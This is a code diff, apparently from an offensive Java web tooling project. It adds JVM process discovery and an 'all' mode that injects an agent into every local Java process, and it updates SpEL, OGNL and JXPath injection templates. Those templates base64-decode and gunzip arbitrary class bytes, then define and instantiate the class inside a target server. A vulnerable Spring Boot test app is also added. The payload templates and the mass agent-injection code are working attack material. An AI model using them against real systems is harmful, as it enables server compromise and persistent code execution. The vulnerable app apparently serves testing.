* @return {@code true} if the string is non-empty and contains only digits.
|
||||
*/
|
||||
private static boolean isNumeric(String str) {
|
||||
if (str == null || str.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
for (int i = 0; i < str.length(); i++) {
|
||||
if (str.charAt(i) < '0' || str.charAt(i) > '9') {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extracts the main class name from a {@code sun.rt.javaCommand} value.
|
||||
* The value format is typically {@code "mainClass arg1 arg2 ..."} or
|
||||
* {@code "/path/to/app.jar arg1 arg2 ..."}. This method returns the
|
||||
* first space-delimited token.
|
||||
*
|
||||
* @param javaCommand The full Java command string.
|
||||
* @return The main class or JAR name, or empty string if input is empty.
|
||||
*/
|
||||
private static String extractMainClass(String javaCommand) {
|
||||
if (javaCommand == null || javaCommand.isEmpty()) {
|
||||
return "";
|
||||
}
|
||||
int spaceIndex = javaCommand.indexOf(' ');
|
||||
return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories
|
||||
* and reading {@code attachInfo} property files.
|
||||
*/
|
||||
private static class OpenJ9ProcessDiscovery {
|
||||
|
||||
/**
|
||||
* The directory name used by OpenJ9 for attach API information.
|
||||
*/
|
||||
private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
|
||||
|
||||
/**
|
||||
* The file name containing process attach information within each VM directory.
|
||||
*/
|
||||
private static final String ATTACH_INFO_FILE = "attachInfo";
|
||||
|
||||
/**
|
||||
* Discovers all OpenJ9 JVM processes visible to the current user.
|
||||
*
|
||||
* @return A list of discovered OpenJ9 Java process descriptors.
|
||||
*/
|
||||
static List<JavaProcessDescriptor> discover() {
|
||||
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
|
||||
for (File attachDir : getAttachDirectories()) {
|
||||
if (!attachDir.isDirectory()) {
|
||||
continue;
|
||||
}
|
||||
File[] vmDirs = attachDir.listFiles();
|
||||
if (vmDirs == null) {
|
||||
continue;
|
||||
}
|
||||
for (File vmDir : vmDirs) {
|
||||
if (!vmDir.isDirectory()) {
|
||||
continue;
|
||||
}
|
||||
File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
|
||||
if (!attachInfo.isFile() || !attachInfo.canRead()) {
|
||||
continue;
|
||||
}
|
||||
FileInputStream fis = null;
|
||||
try {
|
||||
Properties props = new Properties();
|
||||
fis = new FileInputStream(attachInfo);
|
||||
props.load(fis);
|
||||
String pid = props.getProperty("processId");
|
||||
String displayName = props.getProperty("displayName", "");
|
||||
if (pid != null && pid.length() > 0) {
|
||||
result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
/* do nothing */
|
||||
} finally {
|
||||
if (fis != null) {
|
||||
try {
|
||||
fis.close();
|
||||
} catch (IOException ignored) {
|
||||
/* do nothing */
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the list of directories to scan for OpenJ9 attach information.
|
||||
* On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp}
|
||||
* and also {@code java.io.tmpdir} if it differs. Additionally checks the
|
||||
* {@code com.ibm.tools.attach.directory} system property.
|
||||
*
|
||||
* @return A list of attach directories to scan.
|
||||
*/
|
||||
private static List<File> getAttachDirectories() {
|
||||
List<File> dirs = new ArrayList<File>();
|
||||
String osName = System.getProperty("os.name", "");
|
||||
if (osName.startsWith("Windows")) {
|
||||
dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
|
||||
} else {
|
||||
dirs.add(new File("/tmp", ATTACH_DIR_NAME));
|
||||
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
|
||||
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
|
||||
dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
|
||||
}
|
||||
}
|
||||
String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
|
||||
if (ibmAttachDir != null) {
|
||||
dirs.add(new File(ibmAttachDir));
|
||||
}
|
||||
return dirs;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,9 +1,46 @@
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/5/16
|
||||
*/
|
||||
public class Main {
|
||||
/**
|
||||
* java -jar attach.jar — 列出所有 Java 进程
|
||||
* java -jar attach.jar <pid> — 注入指定进程
|
||||
* java -jar attach.jar all — 注入所有 Java 进程(自动跳过自身,单个失败不影响其他进程)
|
||||
*/
|
||||
public static void main(String[] args) throws Exception {
|
||||
Attacher.attach(args[0]);
|
||||
if (args.length == 0) {
|
||||
List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
|
||||
if (processes.isEmpty()) {
|
||||
System.out.println("No Java processes found.");
|
||||
} else {
|
||||
for (Attacher.JavaProcessDescriptor process : processes) {
|
||||
System.out.println(process);
|
||||
}
|
||||
}
|
||||
} else if ("all".equalsIgnoreCase(args[0])) {
|
||||
List<Attacher.JavaProcessDescriptor> processes = Attacher.listJavaProcesses();
|
||||
String currentPid = Attacher.ProcessProvider.ForCurrentVm.INSTANCE.resolve();
|
||||
if (processes.isEmpty()) {
|
||||
System.out.println("No Java processes found.");
|
||||
} else {
|
||||
for (Attacher.JavaProcessDescriptor process : processes) {
|
||||
if (process.getPid().equals(currentPid)) {
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
System.out.println("Attaching to " + process + " ...");
|
||||
Attacher.attach(process.getPid());
|
||||
System.out.println(" -> Success");
|
||||
} catch (Exception e) {
|
||||
System.out.println(" -> Failed: " + e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Attacher.attach(args[0]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -15,6 +15,7 @@ package com.reajason.javaweb.packer.jar.attach;/*
|
||||
*/
|
||||
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -22,13 +23,12 @@ import java.net.MalformedURLException;
|
||||
import java.net.URISyntaxException;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.nio.ByteOrder;
|
||||
import java.security.CodeSource;
|
||||
import java.security.PrivilegedAction;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
|
||||
@@ -53,24 +53,54 @@ public class Attacher {
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
try {
|
||||
Attacher.attach(args[0]);
|
||||
} catch (Exception e) {
|
||||
if (!e.getMessage().equals("0")) {
|
||||
Throwable cause = e.getCause();
|
||||
if (cause != null) {
|
||||
if (!cause.getMessage().equals("0")) {
|
||||
cause = e.getCause();
|
||||
if (cause != null) {
|
||||
if (!cause.getMessage().equals("0")) {
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
if (args.length == 0) {
|
||||
List<JavaProcessDescriptor> processes = listJavaProcesses();
|
||||
if (processes.isEmpty()) {
|
||||
System.out.println("No Java processes found.");
|
||||
} else {
|
||||
for (JavaProcessDescriptor process : processes) {
|
||||
System.out.println(process);
|
||||
}
|
||||
}
|
||||
} else if ("all".equalsIgnoreCase(args[0])) {
|
||||
List<JavaProcessDescriptor> processes = listJavaProcesses();
|
||||
String currentPid = ProcessProvider.ForCurrentVm.INSTANCE.resolve();
|
||||
if (processes.isEmpty()) {
|
||||
System.out.println("No Java processes found.");
|
||||
} else {
|
||||
for (JavaProcessDescriptor process : processes) {
|
||||
if (process.getPid().equals(currentPid)) {
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
System.out.println("Attaching to " + process + " ...");
|
||||
doAttach(process.getPid());
|
||||
System.out.println(" -> Success");
|
||||
} catch (Exception e) {
|
||||
System.out.println(" -> Failed: " + e.getMessage());
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
doAttach(args[0]);
|
||||
System.out.println("ok");
|
||||
}
|
||||
}
|
||||
|
||||
private static void doAttach(String processId) {
|
||||
try {
|
||||
Attacher.attach(processId);
|
||||
} catch (Exception e) {
|
||||
Throwable currentCause = e;
|
||||
while (currentCause != null) {
|
||||
if ("0".equals(currentCause.getMessage())) {
|
||||
return;
|
||||
}
|
||||
currentCause = currentCause.getCause();
|
||||
}
|
||||
throw (RuntimeException) e;
|
||||
}
|
||||
System.out.println("ok");
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -112,6 +142,30 @@ public class Attacher {
|
||||
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>
|
||||
* Lists all discoverable Java processes on the local host.
|
||||
* Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux.
|
||||
* </p>
|
||||
*
|
||||
* @return A list of discovered Java process descriptors.
|
||||
*/
|
||||
public static List<JavaProcessDescriptor> listJavaProcesses() {
|
||||
List<JavaProcessDescriptor> processes = new ArrayList<JavaProcessDescriptor>();
|
||||
Set<String> seenPids = new HashSet<String>();
|
||||
for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) {
|
||||
if (seenPids.add(descriptor.getPid())) {
|
||||
processes.add(descriptor);
|
||||
}
|
||||
}
|
||||
for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) {
|
||||
if (seenPids.add(descriptor.getPid())) {
|
||||
processes.add(descriptor);
|
||||
}
|
||||
}
|
||||
return processes;
|
||||
}
|
||||
|
||||
/**
|
||||
* Installs a Java agent on a target VM.
|
||||
*
|
||||
@@ -949,4 +1003,300 @@ public class Attacher {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Represents a discovered Java process on the local host.
|
||||
*/
|
||||
public static class JavaProcessDescriptor {
|
||||
|
||||
private final String pid;
|
||||
private final String mainClass;
|
||||
private final String vmType;
|
||||
|
||||
public JavaProcessDescriptor(String pid, String mainClass, String vmType) {
|
||||
this.pid = pid;
|
||||
this.mainClass = mainClass;
|
||||
this.vmType = vmType;
|
||||
}
|
||||
|
||||
public String getPid() {
|
||||
return pid;
|
||||
}
|
||||
|
||||
public String getMainClass() {
|
||||
return mainClass;
|
||||
}
|
||||
|
||||
public String getVmType() {
|
||||
return vmType;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
sb.append(pid);
|
||||
if (mainClass.length() > 0) {
|
||||
sb.append(' ').append(mainClass);
|
||||
}
|
||||
sb.append(" (").append(vmType).append(')');
|
||||
return sb.toString();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Discovers running HotSpot JVM processes by scanning {@code hsperfdata_<user>} directories.
|
||||
*/
|
||||
private static class HotSpotProcessDiscovery {
|
||||
|
||||
private static final int PERFDATA_MAGIC = 0xcafec0c0;
|
||||
private static final String HSPERFDATA_PREFIX = "hsperfdata_";
|
||||
private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand";
|
||||
private static final byte UNITS_STRING = 5;
|
||||
private static final int MAX_PERFDATA_SIZE = 1024 * 1024;
|
||||
private static final int MIN_PERFDATA_SIZE = 32;
|
||||
private static final int ENTRY_HEADER_SIZE = 20;
|
||||
|
||||
static List<JavaProcessDescriptor> discover() {
|
||||
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
|
||||
Set<String> seen = new HashSet<String>();
|
||||
for (File tmpDir : getTempDirectories()) {
|
||||
if (!tmpDir.isDirectory()) {
|
||||
continue;
|
||||
}
|
||||
File[] userDirs = tmpDir.listFiles();
|
||||
if (userDirs == null) {
|
||||
continue;
|
||||
}
|
||||
for (File userDir : userDirs) {
|
||||
if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) {
|
||||
continue;
|
||||
}
|
||||
File[] pidFiles = userDir.listFiles();
|
||||
if (pidFiles == null) {
|
||||
continue;
|
||||
}
|
||||
for (File pidFile : pidFiles) {
|
||||
String fileName = pidFile.getName();
|
||||
if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) {
|
||||
continue;
|
||||
}
|
||||
if (!seen.add(fileName)) {
|
||||
continue;
|
||||
}
|
||||
String javaCommand = parsePerfData(pidFile);
|
||||
result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot"));
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
private static List<File> getTempDirectories() {
|
||||
List<File> dirs = new ArrayList<File>();
|
||||
String osName = System.getProperty("os.name", "");
|
||||
if (osName.startsWith("Windows")) {
|
||||
dirs.add(new File(System.getProperty("java.io.tmpdir")));
|
||||
} else {
|
||||
dirs.add(new File("/tmp"));
|
||||
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
|
||||
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
|
||||
dirs.add(new File(javaIoTmpDir));
|
||||
}
|
||||
}
|
||||
return dirs;
|
||||
}
|
||||
|
||||
private static String parsePerfData(File file) {
|
||||
FileInputStream fis = null;
|
||||
try {
|
||||
fis = new FileInputStream(file);
|
||||
long fileLength = file.length();
|
||||
if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) {
|
||||
return "";
|
||||
}
|
||||
byte[] data = new byte[(int) fileLength];
|
||||
int totalRead = 0;
|
||||
int bytesRead;
|
||||
while (totalRead < data.length
|
||||
&& (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) {
|
||||
totalRead += bytesRead;
|
||||
}
|
||||
if (totalRead < MIN_PERFDATA_SIZE) {
|
||||
return "";
|
||||
}
|
||||
|
||||
ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead);
|
||||
buffer.order(ByteOrder.BIG_ENDIAN);
|
||||
int magic = buffer.getInt();
|
||||
if (magic != PERFDATA_MAGIC) {
|
||||
return "";
|
||||
}
|
||||
|
||||
byte byteOrder = buffer.get();
|
||||
if (byteOrder == 1) {
|
||||
buffer.order(ByteOrder.LITTLE_ENDIAN);
|
||||
}
|
||||
|
||||
byte majorVersion = buffer.get();
|
||||
buffer.get(); // minor version
|
||||
buffer.get(); // accessible / reserved
|
||||
|
||||
if (majorVersion < 2) {
|
||||
return "";
|
||||
}
|
||||
|
||||
buffer.getInt(); // used
|
||||
buffer.getInt(); // overflow
|
||||
buffer.getLong(); // mod_time_stamp
|
||||
int entryOffset = buffer.getInt();
|
||||
int numEntries = buffer.getInt();
|
||||
|
||||
int pos = entryOffset;
|
||||
for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) {
|
||||
buffer.position(pos);
|
||||
int entryLength = buffer.getInt();
|
||||
if (entryLength <= 0 || pos + entryLength > totalRead) {
|
||||
break;
|
||||
}
|
||||
|
||||
int nameOffset = buffer.getInt();
|
||||
buffer.getInt(); // vector_length
|
||||
buffer.get(); // data_type
|
||||
buffer.get(); // flags
|
||||
byte dataUnits = buffer.get();
|
||||
buffer.get(); // data_variability
|
||||
int dataOffset = buffer.getInt();
|
||||
|
||||
int nameStart = pos + nameOffset;
|
||||
if (nameStart < 0 || nameStart >= totalRead) {
|
||||
pos += entryLength;
|
||||
continue;
|
||||
}
|
||||
int nameEnd = nameStart;
|
||||
while (nameEnd < totalRead && data[nameEnd] != 0) {
|
||||
nameEnd++;
|
||||
}
|
||||
String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8");
|
||||
|
||||
if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) {
|
||||
int dataStart = pos + dataOffset;
|
||||
if (dataStart < 0 || dataStart >= totalRead) {
|
||||
return "";
|
||||
}
|
||||
int dataEnd = dataStart;
|
||||
while (dataEnd < totalRead && data[dataEnd] != 0) {
|
||||
dataEnd++;
|
||||
}
|
||||
return new String(data, dataStart, dataEnd - dataStart, "UTF-8");
|
||||
}
|
||||
|
||||
pos += entryLength;
|
||||
}
|
||||
|
||||
return "";
|
||||
} catch (Exception ignored) {
|
||||
return "";
|
||||
} finally {
|
||||
if (fis != null) {
|
||||
try {
|
||||
fis.close();
|
||||
} catch (IOException ignored) {
|
||||
/* do nothing */
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean isNumeric(String str) {
|
||||
if (str == null || str.isEmpty()) {
|
||||
return false;
|
||||
}
|
||||
for (int i = 0; i < str.length(); i++) {
|
||||
if (str.charAt(i) < '0' || str.charAt(i) > '9') {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
private static String extractMainClass(String javaCommand) {
|
||||
if (javaCommand == null || javaCommand.isEmpty()) {
|
||||
return "";
|
||||
}
|
||||
int spaceIndex = javaCommand.indexOf(' ');
|
||||
return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories.
|
||||
*/
|
||||
private static class OpenJ9ProcessDiscovery {
|
||||
|
||||
private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach";
|
||||
private static final String ATTACH_INFO_FILE = "attachInfo";
|
||||
|
||||
static List<JavaProcessDescriptor> discover() {
|
||||
List<JavaProcessDescriptor> result = new ArrayList<JavaProcessDescriptor>();
|
||||
for (File attachDir : getAttachDirectories()) {
|
||||
if (!attachDir.isDirectory()) {
|
||||
continue;
|
||||
}
|
||||
File[] vmDirs = attachDir.listFiles();
|
||||
if (vmDirs == null) {
|
||||
continue;
|
||||
}
|
||||
for (File vmDir : vmDirs) {
|
||||
if (!vmDir.isDirectory()) {
|
||||
continue;
|
||||
}
|
||||
File attachInfo = new File(vmDir, ATTACH_INFO_FILE);
|
||||
if (!attachInfo.isFile() || !attachInfo.canRead()) {
|
||||
continue;
|
||||
}
|
||||
FileInputStream fis = null;
|
||||
try {
|
||||
Properties props = new Properties();
|
||||
fis = new FileInputStream(attachInfo);
|
||||
props.load(fis);
|
||||
String pid = props.getProperty("processId");
|
||||
String displayName = props.getProperty("displayName", "");
|
||||
if (pid != null && pid.length() > 0) {
|
||||
result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9"));
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
/* do nothing */
|
||||
} finally {
|
||||
if (fis != null) {
|
||||
try {
|
||||
fis.close();
|
||||
} catch (IOException ignored) {
|
||||
/* do nothing */
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
private static List<File> getAttachDirectories() {
|
||||
List<File> dirs = new ArrayList<File>();
|
||||
String osName = System.getProperty("os.name", "");
|
||||
if (osName.startsWith("Windows")) {
|
||||
dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME));
|
||||
} else {
|
||||
dirs.add(new File("/tmp", ATTACH_DIR_NAME));
|
||||
String javaIoTmpDir = System.getProperty("java.io.tmpdir");
|
||||
if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) {
|
||||
dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME));
|
||||
}
|
||||
}
|
||||
String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory");
|
||||
if (ibmAttachDir != null) {
|
||||
dirs.add(new File(ibmAttachDir));
|
||||
}
|
||||
return dirs;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+1
-1
@@ -11,7 +11,7 @@ import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertC
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class JXPathSpringGzipJDK17Packer implements Packer {
|
||||
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
|
||||
String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(decode(java.util.Base64.getDecoder(), ('{{base64Str}}'))))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
|
||||
+1
-1
@@ -12,7 +12,7 @@ import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertC
|
||||
* @since 2025/7/7
|
||||
*/
|
||||
public class OGNLSpringGzipJDK17Packer implements Packer {
|
||||
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
|
||||
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@java.util.Base64@getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
|
||||
+1
-1
@@ -9,7 +9,7 @@ import com.reajason.javaweb.packer.Packers;
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELSpringGzipJDK17Packer implements Packer {
|
||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
|
||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
|
||||
+2
-1
@@ -37,12 +37,13 @@ include("vul:vul-webapp")
|
||||
include("vul:vul-webapp-jakarta")
|
||||
include("vul:vul-webapp-expression")
|
||||
include("vul:vul-webapp-deserialize")
|
||||
include("vul:vul-struct2")
|
||||
include("vul:vul-struts2")
|
||||
include("vul:vul-springboot1")
|
||||
include("vul:vul-springboot2")
|
||||
include("vul:vul-springboot2-jetty")
|
||||
include("vul:vul-springboot2-undertow")
|
||||
include("vul:vul-springboot3")
|
||||
include("vul:vul-springboot359")
|
||||
include("vul:vul-springboot2-webflux")
|
||||
include("vul:vul-springboot3-webflux")
|
||||
include("vul:vul-playframework")
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
FROM eclipse-temurin:17.0.17_10-jdk
|
||||
WORKDIR /app
|
||||
|
||||
COPY build/libs/vul-springboot3.jar /app/app.jar
|
||||
|
||||
EXPOSE 8080
|
||||
|
||||
ENTRYPOINT java $JAVA_OPTS -jar app.jar
|
||||
@@ -0,0 +1,29 @@
|
||||
plugins {
|
||||
id("java")
|
||||
id("war")
|
||||
id("org.springframework.boot") version "3.5.9"
|
||||
id("io.spring.dependency-management") version "1.1.7"
|
||||
}
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(17)
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation("org.springframework.boot:spring-boot-starter-web")
|
||||
providedRuntime("org.springframework.boot:spring-boot-starter-tomcat")
|
||||
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
||||
testImplementation("org.junit.jupiter:junit-jupiter-api")
|
||||
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||
runtimeOnly("com.h2database:h2")
|
||||
implementation("ognl:ognl:2.7.3")
|
||||
implementation("commons-jxpath:commons-jxpath:1.3")
|
||||
implementation("commons-beanutils:commons-beanutils:1.9.3")
|
||||
}
|
||||
|
||||
tasks.test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
package com.reajason.javaweb.vul.springboot3;
|
||||
|
||||
public class ClassDefiner extends ClassLoader {
|
||||
private ClassDefiner() {
|
||||
}
|
||||
|
||||
public static Class<?> defineClass(byte[] code) {
|
||||
return new ClassDefiner().defineClass(null, code, 0, code.length);
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user